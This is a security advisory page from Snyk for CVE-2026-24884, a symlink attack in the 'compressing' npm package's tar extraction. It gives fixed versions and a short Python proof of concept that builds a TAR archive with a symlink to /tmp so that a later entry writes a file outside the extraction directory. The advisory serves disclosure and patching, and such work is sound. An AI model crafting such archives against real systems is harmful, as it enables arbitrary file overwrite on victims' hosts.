Symlink Attack Affecting compressing package, versions <1.10.4>=2.0.0 <2.0.1
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-COMPRESSING-15202444
- published4 Feb 2026
- disclosed3 Feb 2026
- creditYuzhou He
Introduced: 3 Feb 2026
NewCVE-2026-24884 (opens in a new tab)How to fix?
Upgrade compressing to version 1.10.4, 2.0.1 or higher.
Overview
compressing is an Everything you need for compressing and uncompressing
Affected versions of this package are vulnerable to Symlink Attack via the `compressing.tar.uncompress' function, which sanitizes the destination paths of archive entries. An attacker can overwrite or create files in arbitrary locations on the host file system by supplying a crafted TAR archive containing symbolic links that resolve outside the intended extraction directory.
PoC
base_dir = "archive/"
with tarfile.open("./poc_arbitrary_write.tar", mode="w") as tar:
add_regular_file(tar, base_dir + "baseFile.txt", "base content\n")
add_symlink(tar, base_dir + "myTmp", "/tmp")
add_regular_file(tar, base_dir + "myTmp/poc.txt", "Arbitrary File Write\n")